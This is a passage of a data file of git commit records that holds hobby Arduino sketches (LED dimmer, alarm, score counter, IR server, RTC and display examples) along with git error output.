draw_afr_bar(afr, 1);\n draw_afr_bar(tgt, 3);\n}\n\nvoid draw_afr_bar(double value, int row) {\n lcd.setCursor(0, row);\n int bars = round((value - 10.0) \/ 10.0 * 100);\n int fullBars = bars\/5;\n \n int partialBars = bars % 5;\n \/\/lcd.setCursor(14, row);\n \/\/lcd.print(bars);\n lcd.setCursor(0, row);\n\n for(int i = 0; i < fullBars; i++) {\n lcd.write(byte(4));\n }\n if(partialBars > 0) {\n lcd.write(byte(partialBars - 1)); \n }\n \n}\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cd1d2cbae214f7a873153a39bdfd3cabd05847fb","subject":"Mega Password Dimmer Example Added an example that uses a Mega to dim two leds and has password protection.","message":"Mega Password Dimmer Example\nAdded an example that uses a Mega to dim two\nleds and has password protection.\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Touchscreen_GUI_Template_Dimmer\/Touchscreen_GUI_Template_Dimmer.ino","new_file":"examples\/Touchscreen_GUI_Template_Dimmer\/Touchscreen_GUI_Template_Dimmer.ino","new_contents":"\/**************************************************************\n *\n * Touchscreen_GUI_Template\n *\n * Use this template as a starting point.\n * The required libraries \"includes\" and configuration\n * sample code is provided to help you quickly create\n * a working sketch.\n *\n * This library was developed for Seeedstudio\n * TouchShield v2.0, based on their TFTv2 and SeeedTouchscreen\n * libraries. This library is intended to provide a minimal\n * but useful collection of reusable widgets that can be used\n * to create a Graphical User Interface (GUI) for any Arduino \n * project.\n *\n * Comment out (or delete) lines that are not required for your project.\n *\n * Author: Jose Rullan\n *\tRelease Date: 03\/28\/2015 -- Arduino Day 2015!!!\n *\tRelease Version: 0.1 beta\n *\n *\tLicense: Whatever only requires to give credit to original \n *\tauthor (i.e. Jose Rullan)\n *\n *\tCredits:\n *\t\n * \n *************************************************************\/\n\n\/\/ Required includes \n#include <SPI.h>\n\n\/\/ TouchscreenGUI includes\n#include <Button.h>\n#include <NewDial.h>\n#include <Display.h>\n#include <NewGauge.h>\n#include <Numkey.h>\n\n\/\/ Create the objects\n\/\/==========================================\nCanvas canvas = Canvas(); \/\/ Memory used: (storage\/ram: 1,676\/36) 3,372\/228\nButton button = Button(); \/\/ Memory used: (storage\/ram: 3,624\/63) 6,996\/291\nNewDial dial = NewDial(); \/\/ Memory used: (storage\/ram: 4,760\/64) 11756\/355\nDisplay disp = Display(); \/\/ Memory used: (storage\/ram: 484\/37) 12,240\/392\nNewGauge gauge = NewGauge(); \/\/ Memory used: (storage\/ram: 1,470\/52) 13710\/444\nNumkey numkey = Numkey(); \/\/ Memory used: (storage\/ram: 2,370\/59) 16,080\/503\nButton btnPlus = Button(20,GRAY1,BLACK,WHITE);\t\/\/Initialization version for round buttons\nButton btnMinus = Button(20,GRAY1,BLACK,WHITE); \/\/Initialization version for round buttons\n\n\/\/ Global variables\n\/\/ If you need global variables in your program put them here,\n\/\/ before the setup() routine.\nconst int rightPin = 45; \/\/Using Mega PWM pin\nconst int leftPin = 44; \/\/Using Mega PWM pin\nint lightVal = 0;\nbool passLock = true;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(leftPin,OUTPUT);\n pinMode(rightPin,OUTPUT);\n \n canvas.init(TFT_LANDSCAPE);\n\n \/\/Configure the widgets\n \/\/========================================= \n button.setSize(80,40);\n button.setColors(GRAY1,BLACK,WHITE);\n button.setText(\"Change\");\n button.setEventHandler(&buttonEventHandler);\n button.init();\n button.setDebounce(100); \n\n btnPlus.setText(\"+\");\n btnPlus.setEventHandler(&btnPlusEventHandler);\n btnPlus.init();\n btnPlus.setDebounce(10); \n\n btnMinus.setText(\"-\");\n btnMinus.setEventHandler(&btnMinusEventHandler);\n btnMinus.init();\n btnMinus.setDebounce(10); \n\n dial.setSize(50);\n dial.setColors(GRAY2,YELLOW,GRAY1);\n dial.setLimits(0,50,100);\n dial.init();\n dial.setHiLimit(75,GREEN);\n dial.setLowLimit(25,RED);\n \n disp.setSize(80,40);\n disp.setColors(BLACK,GREEN,GRAY2);\n disp.setText(\"\");\n disp.init();\n \n gauge.setSize(40,100);\n gauge.setColors(GRAY2,YELLOW,WHITE);\n gauge.setLimits(0,50,100);\n gauge.init();\n gauge.setHiLimit(75,GREEN);\n gauge.setLowLimit(25,RED);\n \n numkey.setSize(120,180);\n numkey.setColors(GRAY1,BLACK,WHITE);\n numkey.init();\n numkey.setDebounce(200);\n\n \/\/ Password protect the application\n numkey.setNumkeyEventHandler(&numkeyPassEventHandler);\n numkey.isPopUp = false; \n canvas.add(&numkey,100,0);\n while(passLock){\n canvas.scan();\n }\n \/\/ If password is Ok, redirect numkey event handler \n numkey.setNumkeyEventHandler(&numkeyEventHandler);\n \n \/\/ Add widgets to canvas\n \/\/ (Use layout template for coordinates)\n \/\/=========================================\n canvas.add(&dial,55,55);\n canvas.add(&disp,120,0);\n canvas.add(&gauge,120,50);\n canvas.add(&button,210,0);\n canvas.add(&btnPlus,230,50);\n canvas.add(&btnMinus,230,110);\n canvas.setDebounce(0);\n \/\/To use the numkey as a pop-up window\n \/\/do not add the numkey to the canvas yet.\n \/\/Do it when some button is pressed. See\n \/\/buttonEventHandler below for an example.\n \/\/canvas.add(&numkey,198,50);\n}\n\n\nvoid loop() {\n canvas.scan();\n pwmRightPin(dial.getCV()*2.5); \/\/PWM range is 0-255\n}\n\n\n\/\/ Event Handler Functions for buttons\n\/\/==========================================\nvoid buttonEventHandler(Button* btn){\n \/\/ Example of a pop-up num keypad.\n \/\/ When button is pressed, the numkey\n \/\/ is added to the canvas, and it is rendered\n \/\/ automatically.\n canvas.add(&numkey,195,0);\n}\n\nvoid btnPlusEventHandler(Button* btn){\n\tgauge.setCV(gauge.getCV()+10);\n\tdial.setCV(gauge.getCV());\n\tdisp.setNum(gauge.getCV());\n}\n\nvoid btnMinusEventHandler(Button* btn){\n\tif(gauge.getCV() < 10) return;\n\tgauge.setCV(gauge.getCV()-10);\n\tdial.setCV(gauge.getCV());\n\tdisp.setNum(gauge.getCV());\n}\n\nvoid numkeyEventHandler(Numkey* nk){\n if(nk->getTextSize()>0){\n disp.setNum(nk->getNum());\n dial.setCV(nk->getNum());\n gauge.setCV(nk->getNum());\n nk->clear();\n }\n}\n\n\/\/ Event handler to check for correct password\nvoid numkeyPassEventHandler(Numkey* nk){\n if(nk->getTextSize()>0){\n if(nk->getNum() == 123){ \/\/Correct Password\n passLock = false;\n nk->isPopUp = true; \/\/Set to autoremove\n }\n nk->clear();\n }\n}\n\nvoid pwmRightPin(int value){\n analogWrite(leftPin,value);\n analogWrite(rightPin,value);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Touchscreen_GUI_Template_Dimmer\/Touchscreen_GUI_Template_Dimmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0858d6828f090f26fb661698bede175c1bf760cb","subject":"Count button presses for score tracking","message":"Count button presses for score tracking\n","repos":"rubyist\/pingduino,rubyist\/pingduino","old_file":"pingpong\/pingpong.ino","new_file":"pingpong\/pingpong.ino","new_contents":"const int p1Pin = 2;\nconst int p2Pin = 3;\nint p1Score = 0;\nint p2Score = 0;\n\nint lastp1State, lastp2State = 1; \/\/ HIGH when open\nint p1State, p2State = 1;\n\nvoid setup()\n{\n pinMode(p1Pin, INPUT);\n pinMode(p2Pin, INPUT);\n Serial.begin(9600);\n showScore();\n}\n\nvoid loop()\n{\n p1State = digitalRead(p1Pin);\n if (p1State != lastp1State) {\n if (p1State == LOW) {\n p1Score++;\n showScore();\n }\n }\n lastp1State = p1State;\n \n p2State = digitalRead(p2Pin);\n if (p2State != lastp2State) {\n if (p2State == LOW) {\n p2Score++;\n showScore();\n }\n }\n lastp2State = p2State;\n}\n\nvoid showScore()\n{\n Serial.print(\"P1: \");\n Serial.print(p1Score);\n Serial.print(\" P2: \");\n Serial.println(p2Score);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"76abdf21c18275a43f271aa464287f83fba38b6e","subject":"Adding alarm code","message":"Adding alarm code\n","repos":"ArthurJahn\/SIM908Client","old_file":"alarme\/Alarme.ino","new_file":"alarme\/Alarme.ino","new_contents":"\/\/Detector de movimento acelerometro\n\/\/Global Variables and constants\n const int Ativar = 10; \/\/ Alarm button ativation connected to Digital 10\n const int buzzerPin = A1; \/\/ buzzer Pin connected to Analog 1\n const int interruptor1 = A0; \/\/ interruptor do sensor de porta para Analog 0\n const int interruptor2 = A2; \/\/ interruptor do sensor de porta para Analog 2\n const int vibra = 2;\n \n\/\/Accelerometer Pins\n const int x = A3; \/\/ X pin connected to Analog 3\n const int y = A4; \/\/ Y pin connected to Analog 4\n const int z = A5; \/\/ Z pin connected to Analog 5\n\/\/Alarm LED\n const int ledPin = 8; \/\/ LED connected to Digital 8\n int tolerance=40; \/\/ Sensitivity of the Alarm\n boolean calibrate = false; \/\/ When accelerometer is calibrated - changes to true \n boolean moveDetected = false; \/\/ When motion is detected - changes to true\n\/\/Accelerometer limits\n int xMin; \/\/Minimum x Value\n int xMax; \/\/Maximum x Value\n int xVal; \/\/Current x Value\n int yMin; \/\/Minimum y Value\n int yMax; \/\/Maximum y Value\n int yVal; \/\/Current y Value\n int zMin; \/\/Minimum z Value\n int zMax; \/\/Maximum z Value\n int zVal; \/\/Current z Value\n\/\/Vibra\u00e7\u00e3o\n boolean leitura_porta_vibra = false;\n boolean vibeRing = false;\n boolean doorRing = false;\n \nvoid setup(){\n \/\/Initilise LED Pin\n pinMode(ledPin, OUTPUT);\n pinMode (Ativar,INPUT);\n \/\/Vibra\u00e7\u00e3o\n pinMode(vibra, INPUT);\n delay(500);\n calibrateAccel();\n}\nvoid loop()\n{ \n boolean ativa = digitalRead(Ativar);\n \/\/ If the button is pressed, initialise and recalibrate the Accelerometer limits. \n if(ativa && !calibrate){\n calibrateAccel();\n }else if(!ativa && calibrate){\n calibrate = false;\n }\n \n vibeRing = false;\n doorRing = false;\n \n \/\/configurar entrada da chave ativar (criar fun\u00e7\u00e3o) e nova para sensor de vibra\u00e7\u00e3o\n while (digitalRead(Ativar)) {\n \n \/\/ Once the accelerometer is calibrated - check for movement \n if(checkMotion()){\n moveDetected=true;\n }\n \n \/\/ If motion is detected - sound the alarm !\n if(moveDetected){\n ALARM();\n\/\/ moveDetected = false;\n delay(1000);\n }\n \n if(analogRead(interruptor1)>500 || analogRead(interruptor2)>500){\n doorRing = true;\n }\n \n if(doorRing){\n ALARM();\n delay(1000);\n }\n \n if(vibration()){\n vibeRing = true;\n }\n \n if(vibeRing){\n ALARM();\n delay(1000);\n }\n }\n}\n\/\/This is the function used to sound the buzzer\n void buzz(int reps, int rate){\n for(int i=0; i<reps; i++){\n analogWrite(buzzerPin, 220);\n delay(100);\n analogWrite(buzzerPin, 0);\n delay(rate);\n }\n} \n\/\/ Function used to calibrate the Accelerometer\nvoid calibrateAccel(){\n \/\/ reset alarm\n moveDetected=false;\n \/\/ Calibration sequence initialisation sound - 3 seconds before calibration begins\n buzz(1,150);\n \/\/calibrate the Accelerometer (should take about 0.5 seconds)\n for (int i=0; i<50; i++){\n \/\/ Calibrate X Values\n xVal = analogRead(x);\n xMax=xVal+tolerance;\n xMin=xVal-tolerance;\n \n \/\/ Calibrate Y Values\n yVal = analogRead(y);\n yMax=yVal+tolerance;\n yMin=yVal-tolerance;\n \n \/\/ Calibrate Z Values\n zVal = analogRead(z);\n zMax=zVal+tolerance;\n zMin=zVal-tolerance;\n \n \/\/Delay 10msec between readings\n delay(10);\n } \n \/\/End of calibration sequence sound. ARMED.\n buzz(2,40);\n printValues(); \/\/Only useful when connected to computer- using serial monitor.\n calibrate=true;\n}\n\/\/Function used to detect motion. Tolerance variable adjusts the sensitivity of movement detected.\nboolean checkMotion(){\n boolean tempB=false;\n xVal = analogRead(x);\n yVal = analogRead(y);\n zVal = analogRead(z);\n \n if(xVal > xMax|| xVal < xMin){\n tempB=true;\n }\n \n if(yVal > yMax || yVal < yMin){\n tempB=true;\n }\n \n if(zVal > zMax || zVal < zMin){\n tempB=true;\n }\n return tempB;\n}\n\/\/ Prints the Sensor limits identified during Accelerometer calibration.\n\/\/ Prints to the Serial monitor.\nvoid printValues(){\n}\n\/\/Function used to make the alarm sound, and blink the LED.\nvoid ALARM(){\n \n \/\/ sound the alarm and blink LED\n digitalWrite(ledPin, HIGH);\n buzz(4,20);\n digitalWrite(ledPin, LOW);\n}\n\nboolean vibration(){\n leitura_porta_vibra = digitalRead(vibra);\n return(leitura_porta_vibra);\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'alarme\/Alarme.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a6123aa666b1619fd3e71758342d12c5c1b12cf4","subject":"Added a basic Blink program","message":"Added a basic Blink program\n","repos":"james147\/ShrimpingItExamples,james147\/ShrimpingItExamples","old_file":"Blink\/Blink.ino","new_file":"Blink\/Blink.ino","new_contents":"\/*\n * Blinks an led connected to pin 13 on and off every second\n * \n * Suggestions:\n * - Change the interval to speed up or slow down the led\n * - Make the led to blink out a pattern\n *\/\n\nint led = 13; \/\/ The pin the led is connected to\n\nvoid setup() {\n pinMode(led, OUTPUT); \/\/ Sets the led pin to be an output pin\n}\n\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ Sets the led pin to high\n delay(1000); \/\/ Delays for 1 second\n digitalWrite(led, LOW); \/\/ Sets the led pin to low\n delay(1000); \/\/ Delays for 1 second\n}\n\n\/* Notes\n * There are two ways you can connect the led:\n * - atmega -> led -> resistor -> 0v => Setting the atmega pin HIGH causes the led to turn on\n * - 5v -> resistor -> led -> atmega => Setting the atmega pin LOW cases the led to turn on\n * Both of these are fine, just note the inverse logic when using the second method.\n *\/\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"25574e319fe2d53102ec95b8d01312abcd78048d","subject":"Renamed checkSavedProgram() to installSavedProgram()","message":"Renamed checkSavedProgram() to installSavedProgram()\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0455a5a1f48dfc779c0b9e66b5d04a4395fccae7","subject":"Made it so that a number from 1-9 can be passed and the voltage out is varied accordingly 1 being off, 9 being max.","message":"Made it so that a number from 1-9 can be passed and the voltage out is varied accordingly 1 being off, 9 being max.\n","repos":"Reesy\/RIVR","old_file":"blink_test\/blink_test.ino","new_file":"blink_test\/blink_test.ino","new_contents":"bool currentlyReading = false;\nbool finishedReading = false;\n\n\/\/values 1-9 for sensitivity of each pin. PWM\nint inVal1 = 0; \/\/ pin 9\nint inVal2 = 0; \/\/ pin 10\nint inVal3 = 0; \/\/ pin 11\nint inVal4 = 0; \/\/ pin 3\nint inVal5 = 0; \/\/ pin 5\n\nint result = 0;\nint result2 = 0;\n\nint ledPin = 9;\nint val = 0; \n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT);\n \n \n}\n\nvoid loop () {\n \n if(Serial.available() > 0){\n val = Serial.read();\n if(val == '>'){\n currentlyReading = true;\n Serial.println(\"Reading engaged\");\n }\n if(val == ':'){\n currentlyReading = false;\n Serial.println(\"Reading disengaged\");\n }\n if(currentlyReading == true){\n \n if(val == '1'){\n result = map(1, 1, 9, 1, 255);\n }\n if(val == '2'){\n result = map(2, 1, 9, 1, 255);\n }\n if(val == '3'){\n result = map(3, 1, 9, 1, 255);\n }\n if(val == '4'){\n result = map(4, 1, 9, 1, 255);\n }\n if(val == '5'){\n result = map(5, 1, 9, 1, 255);\n }\n if(val == '6'){\n result = map(6, 1, 9, 1, 255);\n }\n if(val == '7'){\n result = map(7, 1, 9, 1, 255);\n }\n if(val == '8'){\n result = map(8, 1, 9, 1, 255);\n }\n if(val == '9'){\n result = map(9, 1, 9, 1, 255);\n }\n \n analogWrite(ledPin, result); \n }\n \n }\n}\n\n","old_contents":"bool currentlyReading = false;\nbool finishedReading = false;\n\n\/\/values 1-9 for sensitivity of each pin. PWM\nint inVal1 = 0; \/\/ pin 9\nint inVal2 = 0; \/\/ pin 10\nint inVal3 = 0; \/\/ pin 11\nint inVal4 = 0; \/\/ pin 3\nint inVal5 = 0; \/\/ pin 5\n\nint result = 0;\nint result2 = 0;\n\nint ledPin = 9;\nint val = 0; \n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT);\n result = map(4, 1, 9, 1, 255);\n result2 = map(9, 1, 9, 1, 255);\n}\n\nvoid loop () {\n \n if(Serial.available() > 0){\n val = Serial.read();\n if(val == '>'){\n currentlyReading = true;\n Serial.println(\"Reading engaged\");\n }\n if(val == ':'){\n currentlyReading = false;\n Serial.println(\"Reading disengaged\");\n }\n if(currentlyReading == true){\n \n if(val == '1'){\n \/\/digitalWrite(ledPin, HIGH);\n \n analogWrite(ledPin, result);\n }\n if(val == '2'){\n \/\/ digitalWrite(ledPin, LOW);\n \n analogWrite(ledPin, result2);\n }\n }\n \n }\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"dff4ed66e2e755477f42fb1e7995002e4a7e0ab5","subject":"HELLO WORLD on 7seg LED display","message":"HELLO WORLD on 7seg LED display\n","repos":"bechynsky\/ArduinoWorkshop,bechynsky\/ArduinoWorkshop","old_file":"Hello\/Hello.ino","new_file":"Hello\/Hello.ino","new_contents":"#include <TM1636.h>\n\nTM1636 tm1636(7,8);\n\nvoid setup() {\n tm1636.init();\n}\n\n\/*\n * 0000\n * 5 1\n * 5 1\n * 5 1\n * 6666 \n * 4 2\n * 4 2\n * 4 2\n * 3333\n * \n * A = 01110111 - 0x77\n * H = 01110110 - 0x76\n * O = 00111111 - 0x3F\n * J = 00011110 - 0x1E\n *\/\n\nvoid LED(int addr, int data) {\n tm1636.start();\n tm1636.writeByte(ADDR_FIXED);\n tm1636.stop();\n\n tm1636.start();\n tm1636.writeByte(0xc0 | addr);\n tm1636.writeByte(data);\n tm1636.stop();\n\n tm1636.start();\n tm1636.writeByte(0x88);\n tm1636.stop();\n \n}\n\nint segdata = 0;\n\nvoid loop() {\n\n\n LED(0,0x77);\n LED(1,0x76);\n LED(2,0x3f);\n LED(3,0x1E);\n \n delay(400);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hello\/Hello.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fcf120d49947ea76fd5d7e31a010672629629cd3","subject":"Create IRServer.ino","message":"Create IRServer.ino","repos":"probonopd\/ProntoHex","old_file":"examples\/IRServer\/IRServer.ino","new_file":"examples\/IRServer\/IRServer.ino","new_contents":"\/**\n * Send IR codes sent as Pronto Hex commands in a HTTP POST request or CORS http:\/\/enable-cors.org\/server.html\n * This sketch is for the ESP8266 platform\n **\/\n \n#include <ESP8266WiFi.h>\n#include <IRremoteESP8266.h>\n#include <ProntoHex.h>\n\n#include \"\/secrets.h\" \/\/ Delete this line and populate the following\n\/\/const char* ssid = \"********\";\n\/\/const char* password = \"********\";\n\nIRsend irsend(2);\nProntoHex ph = ProntoHex();\n\n\/\/ Create an instance of the server\n\/\/ specify the port to listen on as an argument\nWiFiServer server(80);\n\nvoid setup() {\n Serial.begin(115200);\n irsend.begin();\n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n\n WiFi.begin(ssid, password);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n\n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) return;\n\n \/\/ Wait until the client sends some data\n Serial.println(\"new client\");\n while (!client.available()) delay(1);\n\n String line;\n \/\/ Read the first line of the request\n bool found = false;\n while (client.available()) {\n line = client.readStringUntil('\\r');\n if (found == true)\n break;\n if (line == \"\")\n found = true;\n }\n line.trim(); \/\/ Remove extraneous whitespace; this is important\n client.flush();\n\n \/\/ Prepare the response\n String s = \"HTTP\/1.1 200 OK\\r\\nAccess-Control-Allow-Origin: *\\r\\nContent-Type: text\/javascript\\r\\n\\r\\n\";\n\n if (line.startsWith(\"0000 \")) \/\/ Then we assume it is Pronto Hex\n {\n ph.convert(line);\n irsend.sendRaw(ph.convertedRaw, ph.length, ph.frequency);\n s += ph.join(ph.convertedRaw, ph.length);\n }\n client.print(s);\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/IRServer\/IRServer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b9e92ea504097cb35eb671f3c092c8fd848f778","subject":"add new example for function setEpoch()","message":"add new example for function setEpoch()\n","repos":"NorthernWidget\/DS3231,NorthernWidget\/DS3231","old_file":"examples\/setEpoch\/setEpoch.ino","new_file":"examples\/setEpoch\/setEpoch.ino","new_contents":"#include <Wire.h>\n#include <DS3231.h>\n\nvoid showTimeFormated(time_t t) {\n#if defined (__AVR__)\n t -= 946684800UL;\n#endif\n char buffer[50];\n struct tm *ptm;\n ptm = gmtime (&t);\n const char * timeformat {\"%a %F %X - weekday %w; CW %W\"};\n strftime(buffer, sizeof(buffer), timeformat, ptm);\n Serial.print(buffer);\n Serial.print(\"\\n\");\n}\n\nconstexpr time_t tstmp {1660644000UL};\n\nRTClib myRTC;\nDS3231 Clock;\n\nvoid setup () {\n Serial.begin(115200);\n Wire.begin();\n delay(500);\n Serial.println(\"\\n\\n\\nTest of DS3231 - setEpoch()\\n\\n\\n\");\n\n#if defined (__AVR__)\n#warning using AVR platform\n Serial.println(\"AVR Microcontroller Ready!\");\n Wire.begin();\n#elif defined (ESP8266)\nSerial.println(\"ESP8266 Microcontroller Ready!\");\n#warning using espressif platform\n \/\/ SDA = 0, SCL = 2\n Wire.begin(0U, 2U);\n#endif\n\n \/\/ set the Ds3131 with a specific UnixTimestamp\n \/\/ ==> \tTue Aug 16 2022 10:00:00 GMT+0000 - weekday 2 (0 = Sunday); CW 33\n \/\/ ==> 1660644000\n \n Serial.println(\"Tue Aug 16 2022 10:00:00 GMT+0000 - weekday 2 (0 = Sunday); CW 33\");\n Serial.println(\"UnixTimestamp - 1660644000\");\n\n\n \/\/ feed UnixTimeStamp and don' t use localtime\n Clock.setEpoch(tstmp, false);\n \/\/ set to 24h\n Clock.setClockMode(false);\n\n \/\/ Just for verification of DS3231 Data\n \/\/ check now the data from ESP8266 and DS3231\n \/\/ get year\n bool century = false;\n bool h12Flag;\n bool pmFlag;\n DateTime now = myRTC.now();\n Serial.print(\"\\n\\n\");\n Serial.print(\" DateTime of DS3231: \");\n Serial.print(Clock.getYear(), DEC);\n Serial.print(\"-\");\n Serial.print(Clock.getMonth(century), DEC);\n Serial.print(\"-\");\n Serial.print(Clock.getDate(), DEC);\n Serial.print(\" \");\n Serial.print(Clock.getHour(h12Flag, pmFlag), DEC);\n Serial.print(\":\");\n Serial.print(Clock.getMinute(), DEC);\n Serial.print(\":\");\n Serial.print(Clock.getSecond(), DEC);\n Serial.print(\" - weekday \");\n Serial.print(Clock.getDoW(), DEC);\n Serial.println();\n\n Serial.print(\"\\n\\n\");\n Serial.print(\" DateTime of RTC: \");\n Serial.print(now.year(), DEC);\n Serial.print(\"-\");\n Serial.print(now.month(), DEC);\n Serial.print(\"-\");\n Serial.print(now.day(), DEC);\n Serial.print(\" \");\n Serial.print(now.hour(), DEC);\n Serial.print(\":\");\n Serial.print(now.minute(), DEC);\n Serial.print(\":\");\n Serial.print(now.second(), DEC);\n Serial.println();\n\n Serial.print(\"\\n\\n Output of Struct tm: \");\n showTimeFormated(tstmp);\n}\n\nvoid loop () {\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/setEpoch\/setEpoch.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"e091fee55446db0f9c028a27e20b52e106f77d8d","subject":"Create QRDrawTools.ino","message":"Create QRDrawTools.ino","repos":"budnail\/QR_Code_Gen3","old_file":"QRDrawTools.ino","new_file":"QRDrawTools.ino","new_contents":"\/\/wln 2014\n\/\/uses u8g graphics library\n\n\/\/Set the state of each module directly on the display\n\/\/QR modules are numbered with top left = 1, 1\n\/\/ Currently the x and y are transposed - on purpose\n\nvoid setMod2(int m, int x, int y, int c){\n \/\/ m = 0 draw to screen, m=1 draw to buffer\n \/\/ x, y position with 1,1 being top left.\n \/\/ c = 0 white, c = 1 black\n \/\/xOffs = 28;\/\/debug\n \/\/return;\/\/debug\n if (m == 1){\n setBuf(x,y,c);\/\/draw to the buffer\n }else{\n \/\/ actual draw to screen\n if (c == 0){\n u8g.setColorIndex(0);\/\/white ink\n }else{\n u8g.setColorIndex(1);\/\/black ink\n }\n u8g.drawBox((y-1)*qrS + xOffs,(qrM-x)*qrS + yOffs,qrS,qrS);\/\/\n }\n}\n\n\/\/Set the state of a module on the buffer\n\/\/QR modules are numbered with top left = 1, 1\nvoid setBuf(int x, int y, int c){\n \/\/ x selects the bit of the buffer\n \/\/ x = 0 represents the first column of the module\n \/\/ y selects the 32 bit the word of the buffer\n \/\/ bit 0 represents the top most module\n \/\/unsigned long pattern = 1 << x;\/\/ only the x bit is 1\n if (x>28 || x<0){x=0;}\/\/dont allow overrange\n if (y>28 || y<0){y=0;}\/\/ dont allow overrange\n if (c == 0){\n \/\/set the module to 0, white ink\n bitClear(qrBuff[y],x);\n }else{\n \/\/set the module to 1, black ink\n bitSet(qrBuff[y],x);\n }\n}\n\n\/\/ simply places whatever is in the buffer on the screen\n\/\/ used as a debug tool\nvoid displayBuff(void){\n \/\/ i is the col, j is the row\n for(int i =1; i<= qrM; i++){\n for(int j =1; j<= qrM; j++){\n int c = bitRead(qrBuff[j],i);\n setMod2(0,i,j,c);\n }\n }\n}\n\n\/\/ simply places whatever is in the buffer on the screen\n\/\/ Rotated\nvoid displayBuffR(void){\n \/\/rotate\n \/\/ i is the col, j is the row\n for(int i =1; i<= qrM; i++){\n for(int j =1; j<= qrM; j++){\n int c = bitRead(qrBuff[j],i);\n setMod2(0,i,qrM-j,c);\n }\n }\n}\n\n\/\/test pattern for debugging\nvoid testPattern(void){\n for(int i=1; i<22;i++){\n setBuf(i,i,1);\/\/dia\n setBuf(21,i,1);\/\/right\n setBuf(1,i,1);\/\/left\n setBuf(i,1,1);\/\/top\n setBuf(i,21,1);\/\/bot\n }\n displayBuffR();\n}\n\n\/\/get offset functions for centering QR code on the display\nint getCenterOffsetX()\n{\n int width = u8g.getWidth();\n int offSet = (width - qrM * qrS)\/2;\/\/qrM is the qr codes width in modules, qrS is the module width in pixels\n return offSet;\n}\nint getCenterOffsetY()\n{\n int height = u8g.getHeight();\n int offSet = (height - qrM * qrS)\/2;\/\/qrM is the qr codes width in modules, qrS is the module width in pixels\n return offSet;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'QRDrawTools.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b8823bc36dd762ebd9cf4cd82fedc53cb119a46","subject":"started writing main loop","message":"started writing main loop\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"84c87c74a3f00d843bbdfc1b785a80811542bcfa","subject":"Comments changed","message":"Comments changed\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino","new_file":"Muscle\/Arduino Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4ea8e52f80a0e8de7c4cf8931296072f24dff665","subject":"faster spi?","message":"faster spi?\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 